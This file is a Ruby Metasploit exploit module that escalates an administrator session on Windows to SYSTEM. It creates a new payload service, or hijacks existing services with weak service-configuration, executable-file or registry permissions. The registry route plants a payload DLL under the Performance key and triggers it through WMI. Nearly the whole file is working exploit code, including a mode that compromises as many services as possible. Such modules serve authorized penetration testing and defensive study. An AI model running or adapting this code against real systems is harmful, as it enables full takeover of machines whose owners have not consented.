##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Services
  include Msf::Post::Windows::Accounts
  include Msf::Post::Windows::Registry
  include Msf::Post::Windows::WMIC
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  ERROR = Msf::Post::Windows::Error

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Escalate Service Permissions Local Privilege Escalation',
        'Description' => %q{
          This module attempts to exploit existing administrative privileges to obtain
          a SYSTEM session. If directly creating a service fails, this module will inspect
          existing services to look for insecure configuration, file or registry permissions that may
          be hijacked. It will then attempt to restart the replaced service to run the
          payload. This will result in a new session when this succeeds.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'scriptjunkie', # service and file permission techniques
          'Spencer McIntyre', # registry permission technique
          'itm4n' # registry permission technique
        ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'DefaultOptions' =>
          {
            'EXITFUNC' => 'thread',
            'WfsDelay' => '5'
          },
        'Targets' =>
          [
            [ 'Automatic', {} ],
          ],
        'References' => [
          ['URL', 'https://itm4n.github.io/windows-registry-rpceptmapper-eop/']
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2012-10-15'
      )
    )

    register_options([
      OptBool.new('AGGRESSIVE', [ false, 'Exploit as many services as possible (dangerous)', false ])
    ])
    register_advanced_options([
      OptString.new('TargetServiceName', [ false, 'The name of a specific service to target', false ])
    ])
    deregister_options('RHOST', 'SMBUser', 'SMBPass', 'SMBDomain')
  end

  def execute_payload_as_new_service(path)
    success = false

    print_status('Trying to add a new service...')
    service_name = Rex::Text.rand_text_alpha((rand(6..13)))
    if service_create(service_name, { path: path, display: '' }) == ERROR::SUCCESS
      print_status("Created service... #{service_name}")
      write_exe(path, service_name)
      if service_start(service_name) == ERROR::SUCCESS
        print_good('Service should be started! Enjoy your new SYSTEM meterpreter session.')
        success = true
      end

      service_delete(service_name)
    else
      print_status('No privileges to create a service...')
      success = false
    end

    return success
  end

  def weak_service_permissions(service_name, service, path)
    success = false
    vprint_status("[#{service_name}] Checking for weak service permissions")

    if (service_change_config(service_name, { path: path }) == ERROR::SUCCESS)
      print_good("[#{service_name}]  has weak configuration permissions - reconfigured to use exe #{path}")
      print_status("[#{service_name}] Restarting service")
      res = service_stop(service_name)

      if ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE))
        write_exe(path, service_name)
        if service_restart(service_name)
          print_good("[#{service_name}] Service restarted")
          success = true
        else
          print_error("[#{service_name}] Unable to restart service")
        end
      end

      unless (service_change_config(service_name, { path: service[:path] }) == ERROR::SUCCESS)
        print_error("[#{service_name}] Failed to reset service to original path #{service[:path]}")
      end
    end

    return success
  end

  def weak_file_permissions(service_name, service, _path, token)
    success = false
    vprint_status("[#{service_name}] Checking for weak file permissions")

    # get path to exe; parse out quotes and arguments
    original_path = service[:path]
    possible_path = expand_path(original_path)
    if (possible_path[0] == '"')
      possible_path = possible_path.split('"')[1]
    else
      possible_path = possible_path.split(' ')[0]
    end

    unless file?(possible_path)
      # If we can't determine it manually show the user and let them decide if manual inspection is worthwhile
      print_status("[#{service_name}] Cannot reliably determine path: #{possible_path}")
    end

    file_permissions = check_dir_perms(possible_path, token)

    if file_permissions && file_permissions.index('W')
      print_good("[#{service_name}] Write access to #{possible_path}")

      begin
        status = service_status(service_name)
        no_access = false
        # Unless service is already stopped
        if status[:state] == SERVICE_STOPPED
          stopped = true
        else
          res = service_stop(service_name)
          stopped = ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE))
        end
      rescue RuntimeError => e
        vprint_error("[#{service_name}] #{e} ")
        no_access = true
      end

      if stopped || no_access
        begin
          if move_file(possible_path, "#{possible_path}.bak")
            write_exe(possible_path, service_name)
            print_status("[#{service_name}] #{possible_path} moved to #{possible_path}.bak and replaced.")
            if service_restart(service_name) # rubocop:disable Metrics/BlockNesting
              print_good("[#{service_name}] Service restarted")
              success = true
            else
              print_error("[#{service_name}] Unable to restart service")
            end
          end
        rescue Rex::Post::Meterpreter::RequestError => e
          vprint_error("[#{service_name}] #{e}")
        end
      else
        vprint_error("[#{service_name}] Unable to stop service")
      end
    end

    return success
  end

  def weak_registry_permissions(service_name)
    # check the system and payload architectures are compatible, otherwise this technique won't work
    return false if sysinfo['Architecture'] != payload_arch

    vprint_status("[#{service_name}] Checking for weak registry permissions")
    backup = nil

    reg_key = "HKLM\\System\\CurrentControlSet\\Services\\#{service_name}\\Performance"
    if registry_enumvals(reg_key).nil?
      return false unless registry_createkey(reg_key)

      print_good("[#{service_name}] Created registry key: #{reg_key}")
    else
      backup = {}
      # backup values to restore later
      %w[Library Open Collect Close].each do |value|
        backup[value] = registry_getvaldata(reg_key, value)
      end
    end

    envs = get_envs('TEMP')

    dll_path = "#{envs['TEMP']}\\#{Rex::Text.rand_text_alpha(8)}.dll"
    vprint_status("[#{service_name}] Writing payload DLL to #{dll_path}")
    write_file(dll_path, generate_payload_dll)
    register_files_for_cleanup(dll_path)

    success = true
    success &&= registry_setvaldata(reg_key, 'Library', dll_path, 'REG_SZ')
    success &&= registry_setvaldata(reg_key, 'Open', 'OpenPerfData', 'REG_SZ')
    success &&= registry_setvaldata(reg_key, 'Collect', 'CollectPerfData', 'REG_SZ')
    success &&= registry_setvaldata(reg_key, 'Close', 'ClosePerfData', 'REG_SZ')

    # don't use session_count to accurately account for AGGRESSIVE mode
    session_count = self.session_count
    if success
      vprint_status("[#{service_name}] Triggering the payload via WMI...")
      wmic_query('Path Win32_Perf Get', server = 'localhost') # rubocop:disable Lint/UselessAssignment
    end

    if backup.nil?
      registry_deletekey(reg_key)
    else
      backup.each_pair do |value, data|
        if data.nil?
          registry_deleteval(reg_key, value)
        else
          registry_setvaldata(reg_key, value, data, 'REG_SZ')
        end
      end
    end

    return false unless success

    # reuse the WMI command timeout since execution is dependent on the WMI command trigger
    0.upto(datastore['TIMEOUT']) do |_|
      sleep(1)
      break if self.session_count > session_count
    end

    self.session_count > session_count
  end

  # If ServiceType is SERVICE_WIN32_SHARE_PROCESS then we need to
  # define the correct servicename.
  def write_exe(path, service_name = nil)
    vprint_status("[#{service_name}] Writing service executable to #{path}")
    exe = generate_payload_exe_service({ servicename: service_name, arch: payload_arch })
    write_file(path, exe)
    register_files_for_cleanup(path)
  end

  def payload_arch
    if payload.arch.include?(ARCH_X64)
      return ARCH_X64
    else
      return ARCH_X86
    end
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    if sysinfo['Architecture'] != payload_arch
      print_error('The registry technique will be skipped because the payload architecture does not match the native system architecture')
    end
    tempexe_name = "#{Rex::Text.rand_text_alpha(rand(6..13))}.exe"

    dir_env = get_envs('SystemRoot', 'TEMP')
    tmpdir = dir_env['TEMP']
    tempexe = "#{tmpdir}\\#{tempexe_name}"

    if datastore['TargetServiceName'].blank?
      begin
        return if execute_payload_as_new_service(tempexe)
      rescue RuntimeError => e
        vprint_status("Unable to create a new service: #{e}")
      end
    end

    aggressive = datastore['AGGRESSIVE']

    print_status('Trying to find weak permissions in existing services..')

    token = get_imperstoken
    each_service do |serv|
      service_name = serv[:name]
      next unless (datastore['TargetServiceName'].blank? || datastore['TargetServiceName'].downcase == service_name.downcase)

      service = service_info(service_name)

      begin
        return if weak_file_permissions(service_name, service, tempexe, token) && !aggressive
      rescue RuntimeError => e
        vprint_status("[#{serv[:name]}] #{e}")
      end

      begin
        return if weak_service_permissions(service_name, service, tempexe) && !aggressive
      rescue RuntimeError => e
        vprint_status("[#{serv[:name]}] #{e}")
      end

      begin
        return if weak_registry_permissions(service_name) && !aggressive
      rescue RuntimeError => e
        vprint_status("[#{serv[:name]}] #{e}")
      end
    end
  end
end
